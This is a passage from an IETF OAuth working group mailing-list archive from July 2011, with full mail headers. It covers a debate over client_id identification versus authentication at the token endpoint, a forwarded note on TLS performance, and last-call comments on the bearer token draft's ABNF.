Jul 2011 10:24:37 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: Eran Hammer-Lahav References: In-Reply-To: Content-Type: multipart/alternative; boundary="------------080409060009000203060300" X-Df-Sender: torsten@lodderstedt-online.de Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Jul 2011 14:24:43 -0000 This is a multi-part message in MIME format. --------------080409060009000203060300 Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit the client_id parameter had been added to the token endpoint in -16. As far as I remember, the reason was to properly separate client identification and authentication in order to support further client authentication methods. quote from "http://www.ietf.org/mail-archive/web/oauth/current/msg06346.html": "The goal is a cleaner protocol design. The protocol design separates client identification as part of the flow (URI parameter) and originator authentication. While the client_id parameter is required, the authentication can be omitted (unauthenticated access) or performed using other authentication mechanisms. And such mechanisms not neccessarily use client_id's. Moreover, the spec just says, "The authorization server MUST ensure the two identifiers belong to the same client". So the client_id's (request parameter and header) may differ. " You removed the parameter in -17, can you please explain why? regards, Torsten. Am 27.07.2011 18:45, schrieb Eran Hammer-Lahav: > There is not clean way of adding it. > > First where? In each flow of the token endpoint or just in 3.2? Then > how is it defined? Optional? Required for public clients? How does it > work alongside authentication? If you use client_password or Basic > then it becomes authentication but otherwise identification? What > about duplication between Basic and the parameter? It also means > adding a new section discussing client authentication vs > identification which is currently implicit. > > I strongly believe that it is better to have a simple model as the one > already defined in –20 and let other use case find their way around it > instead of producing a confusing document that is trying to hard to > solve every possible combination. > > As I said before, we can tweak the definition of client_secret to make > it more esthetically pleasing (the server doesn't mind having an empty > parameter included, just people), but that's as far am I'm (as wg > member) willing to support, especially at this point. > > EHL > > > From: Torsten Lodderstedt > > Date: Wed, 27 Jul 2011 15:21:16 -0700 > To: Brian Campbell > > Cc: Eran Hammer-lahav >, oauth > > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and > identification > > I personally think that would be more confusing than just adding the > client_id parameter to the token endpoint request (independent of > client > authentication credentials). > > Am 27.07.2011 18:17, schrieb Brian Campbell: > > I think that would be helpful, thanks. > > > On Wed, Jul 27, 2011 at 12:43 PM, Eran > Hammer-Lahav > wrote: > > If you want, we can tweak section 2.4.1 to make > client_secret optional if > the secret is the empty string. That will give you exactly > what you want > without making the document any more confusing. > EHL > > --------------080409060009000203060300 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: 8bit the client_id parameter had been added to the token endpoint in -16. As far as I remember, the reason was to properly separate client identification and authentication in order to support further client authentication methods.

quote from "http://www.ietf.org/mail-archive/web/oauth/current/msg06346.html":
"The goal is a cleaner protocol design. The protocol design separates client identification as part of the flow (URI parameter) and originator authentication. While the client_id parameter is required, the authentication can be omitted (unauthenticated access) or performed using other authentication mechanisms. And such mechanisms not neccessarily use client_id's. Moreover, the spec just says, "The authorization server MUST ensure the two identifiers belong to the same client". So the client_id's (request parameter and header) may differ. "

You removed the parameter in -17, can you please explain why?

regards,
Torsten.

Am 27.07.2011 18:45, schrieb Eran Hammer-Lahav:
There is not clean way of adding it.

First where? In each flow of the token endpoint or just in 3.2? Then how is it defined? Optional? Required for public clients? How does it work alongside authentication? If you use client_password or Basic then it becomes authentication but otherwise identification? What about duplication between Basic and the parameter? It also means adding a new section discussing client authentication vs identification which is currently implicit.

I strongly believe that it is better to have a simple model as the one already defined in –20 and let other use case find their way around it instead of producing a confusing document that is trying to hard to solve every possible combination.

As I said before, we can tweak the definition of client_secret to make it more esthetically pleasing (the server doesn't mind having an empty parameter included, just people), but that's as far am I'm (as wg member) willing to support, especially at this point.

EHL


From: Torsten Lodderstedt <torsten@lodderstedt.net>
Date: Wed, 27 Jul 2011 15:21:16 -0700
To: Brian Campbell <bcampbell@pingidentity.com>
Cc: Eran Hammer-lahav <eran@hueniverse.com>, oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification

I personally think that would be more confusing than just adding the
client_id parameter to the token endpoint request (independent of client
authentication credentials).

Am 27.07.2011 18:17, schrieb Brian Campbell:
I think that would be helpful, thanks.


On Wed, Jul 27, 2011 at 12:43 PM, Eran Hammer-Lahav<eran@hueniverse.com>  wrote:
If you want, we can tweak section 2.4.1 to make client_secret optional if
the secret is the empty string. That will give you exactly what you want
without making the document any more confusing.
EHL
--------------080409060009000203060300-- From eran@hueniverse.com Thu Jul 28 08:20:14 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 1AED121F8BF2 for ; Thu, 28 Jul 2011 08:20:14 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.56 X-Spam-Level: X-Spam-Status: No, score=-2.56 tagged_above=-999 required=5 tests=[AWL=0.038, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id reG65o6Uw03U for ; Thu, 28 Jul 2011 08:20:13 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 75DEC21F8CC5 for ; Thu, 28 Jul 2011 08:20:12 -0700 (PDT) Received: (qmail 21397 invoked from network); 28 Jul 2011 15:20:11 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 28 Jul 2011 15:20:11 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Thu, 28 Jul 2011 08:20:08 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt Date: Thu, 28 Jul 2011 08:20:02 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxNOdUeIMFy2c1zQsihyPH8dBcq7Q== Message-ID: In-Reply-To: <4E317125.7080006@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA56CA211758Beranhueniversecom_" MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Jul 2011 15:20:14 -0000 --_000_CA56CA211758Beranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable -16 was a failed attempt to accomplish this separation of authentication an= d identification. It didn't work. When working on =9617 I had about 5 messa= ges in my queue with questions and issues regarding the duplication of clie= nt identifier information between Basic and the parameter, the fact that th= e parameter was now required where previously it was optional or even not r= ecommended, and overall confusion. My goal with =9616 was to simplify things without making normative changes = and it didn't work. In =9617 on I fixed it by reverting the change and expa= nding the concept of the client identifier. When I had to decide how to fix= the issues introduced by this change in =9616, I came up with the list of = questions I asked you below and decided that it was just too complicated fo= r practically no gain. You are free, of course, to try and suggest alternative language. My sugges= tion is to simply allow client_secret to be omitted when there is no secret= assigned, and I can also add a short note that public clients may use the = client_id for the purpose of identification with the token endpoint. This w= ill give full endorsement to the practice without making the rest of the pr= otocol any more complex. EHL From: Torsten Lodderstedt > Date: Thu, 28 Jul 2011 07:24:37 -0700 To: Eran Hammer-lahav > Cc: Brian Campbell >, oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification the client_id parameter had been added to the token endpoint in -16. As far= as I remember, the reason was to properly separate client identification a= nd authentication in order to support further client authentication methods= . quote from "http://www.ietf.org/mail-archive/web/oauth/current/msg06346.htm= l": "The goal is a cleaner protocol design. The protocol design separates clien= t identification as part of the flow (URI parameter) and originator authent= ication. While the client_id parameter is required, the authentication can = be omitted (unauthenticated access) or performed using other authentication= mechanisms. And such mechanisms not neccessarily use client_id's. Moreover= , the spec just says, "The authorization server MUST ensure the two identif= iers belong to the same client". So the client_id's (request parameter and = header) may differ. " You removed the parameter in -17, can you please explain why? regards, Torsten. Am 27.07.2011 18:45, schrieb Eran Hammer-Lahav: There is not clean way of adding it. First where? In each flow of the token endpoint or just in 3.2? Then how is= it defined? Optional? Required for public clients? How does it work alongs= ide authentication? If you use client_password or Basic then it becomes aut= hentication but otherwise identification? What about duplication between Ba= sic and the parameter? It also means adding a new section discussing client= authentication vs identification which is currently implicit. I strongly believe that it is better to have a simple model as the one alre= ady defined in =9620 and let other use case find their way around it instea= d of producing a confusing document that is trying to hard to solve every p= ossible combination. As I said before, we can tweak the definition of client_secret to make it m= ore esthetically pleasing (the server doesn't mind having an empty paramete= r included, just people), but that's as far am I'm (as wg member) willing t= o support, especially at this point. EHL From: Torsten Lodderstedt > Date: Wed, 27 Jul 2011 15:21:16 -0700 To: Brian Campbell > Cc: Eran Hammer-lahav >, oa= uth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification I personally think that would be more confusing than just adding the client_id parameter to the token endpoint request (independent of client authentication credentials). Am 27.07.2011 18:17, schrieb Brian Campbell: I think that would be helpful, thanks. On Wed, Jul 27, 2011 at 12:43 PM, Eran Hammer-Lahav> wrote: If you want, we can tweak section 2.4.1 to make client_secret optional if the secret is the empty string. That will give you exactly what you want without making the document any more confusing. EHL --_000_CA56CA211758Beranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
-16 was a failed attempt to acc= omplish this separation of authentication and identification. It didn't wor= k. When working on =9617 I had about 5 messages in my queue with questions = and issues regarding the duplication of client identifier information betwe= en Basic and the parameter, the fact that the parameter was now required wh= ere previously it was optional or even not recommended, and overall confusi= on.

My goal with =9616 was to simplify things with= out making normative changes and it didn't work. In =9617 on I fixed it by = reverting the change and expanding the concept of the client identifier. Wh= en I had to decide how to fix the issues introduced by this change in =9616= , I came up with the list of questions I asked you below and decided that i= t was just too complicated for practically no gain.

You are free, of course, to try and suggest alternative language. My sugg= estion is to simply allow client_secret to be omitted when there is no secr= et assigned, and I can also add a short note that public clients may use th= e client_id for the purpose of identification with the token endpoint. This= will give full endorsement to the practice without making the rest of the = protocol any more complex.

EHL



From: = Torsten Lodderstedt <= torsten@lodderstedt.net>
Date: <= /span> Thu, 28 Jul 2011 07:24:37 -0700
= To: Eran Hammer-lahav <er= an@hueniverse.com>
Cc: B= rian Campbell <bcampbell@p= ingidentity.com>, oauth <oauth@= ietf.org>
Subject: Re: [= OAUTH-WG] treatment of client_id for authentication and identification
<= /div>

=20 =20 =20
the client_id parameter had been added to the token endpoint in -16. As far as I remember, the reason was to properly separate client identification and authentication in order to support further client authentication methods.

quote from "http://www.ietf.org/mail-archiv= e/web/oauth/current/msg06346.html":
"The goal is a cleaner protocol design. Th= e protocol design separates client identification as part of the flow (URI parameter) and originator authentication. While the client_id parameter is required, the authentication can be omitted (unauthenticated access) or performed using other authentication mechanisms. And such mechanisms not neccessarily use client_id's. Moreover, the spec just says, "The authorization server MUST ensure the two identifiers belong to the same client". So the client_id's (request parameter and header) may differ. "<= br>
You removed the parameter in -17, can you please explain why?

regards,
Torsten.

Am 27.07.2011 18:45, schrieb Eran Hammer-Lahav:
=20
There is not clean way of adding it.

First where? In each flow of the token endpoint or just in 3.2? Then how is it defined? Optional? Required for public clients? How does it work alongside authentication? If you use client_password or Basic then it becomes authentication but otherwise identification? What about duplication between Basic and the parameter? It also means adding a new section discussing client authentication vs identification which is currently implicit.

I strongly believe that it is better to have a simple model as the one already defined in =9620 and let other use case find = their way around it instead of producing a confusing document that is trying to hard to solve every possible combination.

As I said before, we can tweak the definition of client_secret to make it more esthetically pleasing (the server doesn't mind having an empty parameter included, just people), but that's as far am I'm (as wg member) willing to support, especially at this point.

EHL


From: Torsten Lodderstedt <torsten@lodderstedt.net>
Date: Wed, 27 Jul 2011 15:21:16 -0700
To: Brian Campbell <bcampbell@pingidentity.com>
Cc: Eran Hammer-lahav <eran@hueniverse.com>, oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification

I personally think that would be more confusing than just adding the
client_id parameter to the token endpoint request (independent of client
authentication credentials).

Am 27.07.2011 18:17, schrieb Brian Campbell:
I think that would be helpful, thanks.


On Wed, Jul 27, 2011 at 12:43 PM, Eran Hammer-Lahav<eran@hueniverse.com>  wrote:
If you want, we can tweak section 2.4.1 to make client_secret optional if
the secret is the empty string. That will give you exactly what you want
without making the document any more confusing.
EHL
--_000_CA56CA211758Beranhueniversecom_-- From hannes.tschofenig@gmx.net Thu Jul 28 10:36:29 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2518411E80D0 for ; Thu, 28 Jul 2011 10:36:29 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.599 X-Spam-Level: X-Spam-Status: No, score=-102.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id IbtCEsdk2rEa for ; Thu, 28 Jul 2011 10:36:28 -0700 (PDT) Received: from mailout-de.gmx.net (mailout-de.gmx.net [213.165.64.22]) by ietfa.amsl.com (Postfix) with SMTP id 2164811E80B3 for ; Thu, 28 Jul 2011 10:36:27 -0700 (PDT) Received: (qmail invoked by alias); 28 Jul 2011 17:36:26 -0000 Received: from dhcp-172b.meeting.ietf.org (EHLO dhcp-172b.meeting.ietf.org) [130.129.23.43] by mail.gmx.net (mp068) with SMTP; 28 Jul 2011 19:36:26 +0200 X-Authenticated: #29516787 X-Provags-ID: V01U2FsdGVkX1/mFo82QQjmkrWq52+Y2CoG6FpniGys9QdbUvxjJp 9ZfIRpL+bIKJE7 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Apple Message framework v1084) From: Hannes Tschofenig Date: Thu, 28 Jul 2011 13:36:25 -0400 Content-Transfer-Encoding: quoted-printable Message-Id: <655654FD-8FAE-41AE-B82E-0FC397CE6D03@gmx.net> References: To: OAuth WG X-Mailer: Apple Mail (2.1084) X-Y-GMX-Trusted: 0 Subject: [OAUTH-WG] Fwd: SSL/TLS Performance Data X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Jul 2011 17:36:29 -0000 We had a discussion at the OAuth working group meeting about the worries = people have with using TLS.=20 Here is a relevant mail from a discussion around TCP crypt.=20 Begin forwarded message: > From: Eric Rescorla > Date: July 28, 2011 10:53:00 AM EDT > To: tsv-area@ietf.org > Subject: SSL/TLS Performance Data >=20 > Re: Mark's comments about SSL/TLS performance versus tcpcrypt > performance, it's worth reading: >=20 > http://www.imperialviolet.org/2010/06/25/overclocking-ssl.html >=20 > Relevant point: >=20 > In January this year (2010), Gmail switched to using HTTPS for > everything by default. Previously it had been introduced as an option, > but now all of our users use HTTPS to secure their email between their > browsers and Google, all the time. In order to do this we had to > deploy no additional machines and no special hardware. On our > production frontend machines, SSL/TLS accounts for less than 1% of the > CPU load, less than 10KB of memory per connection and less than 2% of > network overhead. Many people believe that SSL takes a lot of CPU time > and we hope the above numbers (public for the first time) will help to > dispel that. >=20 >=20 > -Ekr From bcampbell@pingidentity.com Thu Jul 28 12:11:19 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id C3D0E21F85DE for ; Thu, 28 Jul 2011 12:11:19 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.957 X-Spam-Level: X-Spam-Status: No, score=-5.957 tagged_above=-999 required=5 tests=[AWL=0.020, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id h-9toyFE6jWJ for ; Thu, 28 Jul 2011 12:11:19 -0700 (PDT) Received: from na3sys009aog105.obsmtp.com (na3sys009aog105.obsmtp.com [74.125.149.75]) by ietfa.amsl.com (Postfix) with ESMTP id 7443921F85FF for ; Thu, 28 Jul 2011 12:11:18 -0700 (PDT) Received: from mail-qy0-f182.google.com ([209.85.216.182]) (using TLSv1) by na3sys009aob105.postini.com ([74.125.148.12]) with SMTP ID DSNKTjG0U7H/AHgLS0o9J+fIeYHvV8CKW3Um@postini.com; Thu, 28 Jul 2011 12:11:18 PDT Received: by mail-qy0-f182.google.com with SMTP id 38so2200544qyk.6 for ; Thu, 28 Jul 2011 12:11:15 -0700 (PDT) Received: by 10.224.182.15 with SMTP id ca15mr277581qab.343.1311880275103; Thu, 28 Jul 2011 12:11:15 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.11.68 with HTTP; Thu, 28 Jul 2011 12:10:44 -0700 (PDT) In-Reply-To: References: <4E317125.7080006@lodderstedt.net> From: Brian Campbell Date: Thu, 28 Jul 2011 13:10:44 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Jul 2011 19:11:20 -0000 I would be very much in favor of that addition/clarification. On Thu, Jul 28, 2011 at 9:20 AM, Eran Hammer-Lahav wrote: > > [...] and I can also add a short note that public clients may use > the client_id for the purpose of identification with the token endpoint. > EHL > From torsten@lodderstedt.net Thu Jul 28 12:59:24 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2E5E421F8AA8 for ; Thu, 28 Jul 2011 12:59:24 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.249 X-Spam-Level: X-Spam-Status: No, score=-2.249 tagged_above=-999 required=5 tests=[AWL=0.000, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id P+VM2S-IbO74 for ; Thu, 28 Jul 2011 12:59:23 -0700 (PDT) Received: from smtprelay01.ispgateway.de (smtprelay01.ispgateway.de [80.67.29.23]) by ietfa.amsl.com (Postfix) with ESMTP id 9CD6121F8A80 for ; Thu, 28 Jul 2011 12:59:23 -0700 (PDT) Received: from [70.25.120.2] (helo=[10.255.254.219]) by smtprelay01.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QmWjp-00069R-IN; Thu, 28 Jul 2011 21:59:21 +0200 Message-ID: <4E31BF97.4030103@lodderstedt.net> Date: Thu, 28 Jul 2011 15:59:19 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: Brian Campbell References: <4E317125.7080006@lodderstedt.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Jul 2011 19:59:24 -0000 +1 Am 28.07.2011 15:10, schrieb Brian Campbell: > I would be very much in favor of that addition/clarification. > > On Thu, Jul 28, 2011 at 9:20 AM, Eran Hammer-Lahav wrote: >> [...] and I can also add a short note that public clients may use >> the client_id for the purpose of identification with the token endpoint. >> EHL >> From eran@hueniverse.com Thu Jul 28 13:22:43 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 097F111E8081 for ; Thu, 28 Jul 2011 13:22:43 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.56 X-Spam-Level: X-Spam-Status: No, score=-2.56 tagged_above=-999 required=5 tests=[AWL=0.038, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id uQ-GJAkT60pu for ; Thu, 28 Jul 2011 13:22:42 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 6E77E11E816E for ; Thu, 28 Jul 2011 13:22:37 -0700 (PDT) Received: (qmail 9340 invoked from network); 28 Jul 2011 20:22:36 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 28 Jul 2011 20:22:35 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Thu, 28 Jul 2011 13:22:27 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , Brian Campbell Date: Thu, 28 Jul 2011 13:22:21 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxNZBFukafyRLGCQZuSucpH7io3Gw== Message-ID: In-Reply-To: <4E31BF97.4030103@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA5712E7175D7eranhueniversecom_" MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Jul 2011 20:22:43 -0000 --_000_CA5712E7175D7eranhueniversecom_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Perfect. I'll make this change after the last call before sending this to I= ETF LC. EHL From: Torsten Lodderstedt > Date: Thu, 28 Jul 2011 12:59:19 -0700 To: Brian Campbell > Cc: Eran Hammer-lahav >, oa= uth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification +1 Am 28.07.2011 15:10, schrieb Brian Campbell: I would be very much in favor of that addition/clarification. On Thu, Jul 28, 2011 at 9:20 AM, Eran Hammer-Lahav> wrote: [...] and I can also add a short note that public clients may use the client_id for the purpose of identification with the token endpoint. EHL --_000_CA5712E7175D7eranhueniversecom_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Perfect. I'll make this = change after the last call before sending this to IETF LC.

EHL

From= : Torsten Lodderstedt <torsten@lodderstedt.net>
Date:= Thu, 28 Jul 2011 12:59:19 -0700
To: Brian Campbell <bcampbell@pingidentity.com>
= Cc: Eran Hammer-lahav <er= an@hueniverse.com>, oauth <oaut= h@ietf.org>
Subject: Re:= [OAUTH-WG] treatment of client_id for authentication and identification

<= div>
+1

Am 28.07.2011 15:10, schrieb Bria= n Campbell:
= I would be very much in favor of that addition/clarification.
On Thu, Jul 28, 2011 at 9:20 AM, Eran Hammer-Lahav<eran@hueniverse.com>  wrot= e:
[...] and= I can also add a short note that public clients may use
the cli= ent_id for the purpose of identification with the token endpoint.
EHL


--_000_CA5712E7175D7eranhueniversecom_-- From James.H.Manger@team.telstra.com Thu Jul 28 20:51:17 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 734B211E8076 for ; Thu, 28 Jul 2011 20:51:17 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -4.365 X-Spam-Level: X-Spam-Status: No, score=-4.365 tagged_above=-999 required=5 tests=[AWL=-3.464, BAYES_00=-2.599, HELO_EQ_AU=0.377, HOST_EQ_AU=0.327, RELAY_IS_203=0.994] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id DRp-uEfbHhIX for ; Thu, 28 Jul 2011 20:51:17 -0700 (PDT) Received: from ipxano.tcif.telstra.com.au (ipxano.tcif.telstra.com.au [203.35.82.200]) by ietfa.amsl.com (Postfix) with ESMTP id AE1A111E8075 for ; Thu, 28 Jul 2011 20:51:15 -0700 (PDT) X-IronPort-AV: E=Sophos;i="4.67,286,1309701600"; d="scan'208";a="45100469" Received: from unknown (HELO ipcdni.tcif.telstra.com.au) ([10.97.216.212]) by ipoani.tcif.telstra.com.au with ESMTP; 29 Jul 2011 13:51:14 +1000 X-IronPort-AV: E=McAfee;i="5400,1158,6421"; a="32826814" Received: from wsmsg3701.srv.dir.telstra.com ([172.49.40.169]) by ipcdni.tcif.telstra.com.au with ESMTP; 29 Jul 2011 13:51:15 +1000 Received: from WSMSG3153V.srv.dir.telstra.com ([172.49.40.159]) by WSMSG3701.srv.dir.telstra.com ([172.49.40.169]) with mapi; Fri, 29 Jul 2011 13:51:14 +1000 From: "Manger, James H" To: "oauth@ietf.org" Date: Fri, 29 Jul 2011 13:51:12 +1000 Thread-Topic: draft-ietf-oauth-v2-bearer-08.txt WGLC comments Thread-Index: AcxMhNmKsgJXC8QmRrieVN33/Sk9aABDOoog Message-ID: <255B9BB34FB7D647A506DC292726F6E11289635128@WSMSG3153V.srv.dir.telstra.com> References: <20110727131700.23436.11568.idtracker@ietfa.amsl.com> <4E1F6AAD24975D4BA5B16804296739434986822D@TK5EX14MBXC202.redmond.corp.microsoft.com> In-Reply-To: Accept-Language: en-US, en-AU Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US, en-AU Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: [OAUTH-WG] draft-ietf-oauth-v2-bearer-08.txt WGLC comments X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2011 03:51:17 -0000 My working group last call comments on draft-ietf-oauth-v2-bearer-08.txt: 1. Mentioning that this is an HTTP authentication mechanism in the title an= d/or abstract would be useful to the wider IETF (& beyond) audience. Title: "The BEARER HTTP authentication mechanism for use with OAuth 2" Abstract: "This specification describes how to use bearer tokens in HTTP requests to access OAuth 2 protected resources." [Personally, I wouldn't bother mentioning OAuth at all here, but others see= m to want this context restriction.] 2. The ABNF for does not comply with RFC 2617 "HTTP Authentic= ation". And even though RFC 2617 is broken is this aspect, the BEARER spec = doesn't comply with the errata (still broken) or the more likely fixes prop= osed for HTTPbis [draft-ietf-httpbis-p7-auth]. I expect HTTPbis to allow a base64-like-blob consistently in Authorization = and WWW-Authenticate headers (to accommodate BASIC and NTLM). Multiple WWW-= Authenticate headers can have their values combined, separated by commas. T= hey can also have quoted-string parameters. To be able to parse this, requi= res disallowing commas and double-quotes from the base64-like-blob (and hen= ce from ) at a minimum; only allowing equals at the end also = helps. The current approach in the bearer spec disallows all but 94 chars/bytes. I= suggest reducing this to 69. Something in between (eg 91 chars, dropping c= omma, quote, and slash) might work. None of these options are materially ea= sier than the others for a token issuer; and less symbols just means less r= isk of escaping problems elsewhere (eg allowing "<" in an access token will= wreck someone's XML somewhere, for no benefit). Suggestion:=20 access-token =3D 1*( ALPHA / DIGIT / "-" / "." / "_" / "~" / "+" / "/" ) = *"=3D" includes the 66 unreserved URI characters plus a few other= s. It can hold a base64, base64url (URL and filename safe alphabet), base32, or base16 (hex) encoding, with or without padding, but excluding whitespace [RFC4648]. 2b. If 2 is not accepted (and assuming HTTPbis will allow any content after= the scheme name in a Authorization header) can we please not misuse the label when no quoting is going on. The following is a better eq= uivalent: access-token =3D 1*(%x21-7E) ; ASCII, except controls, space, or delete 3. Drop '\' from the allowed chars in a scope value, to avoid clashing with= the HTTP quoted-string escaping mechanism (and don't use the = label when no quoting is going on). scope-v =3D 1*(%x21 / %x23-5B / %x5D-7E); excludes space and " and \ 4. Section 3.3 "Summary of Recommendations" sensibly says clients "MUST ens= ure that bearer tokens are not leaked to *unintended parties*" and correctl= y notes that this is "the primary security consideration" that 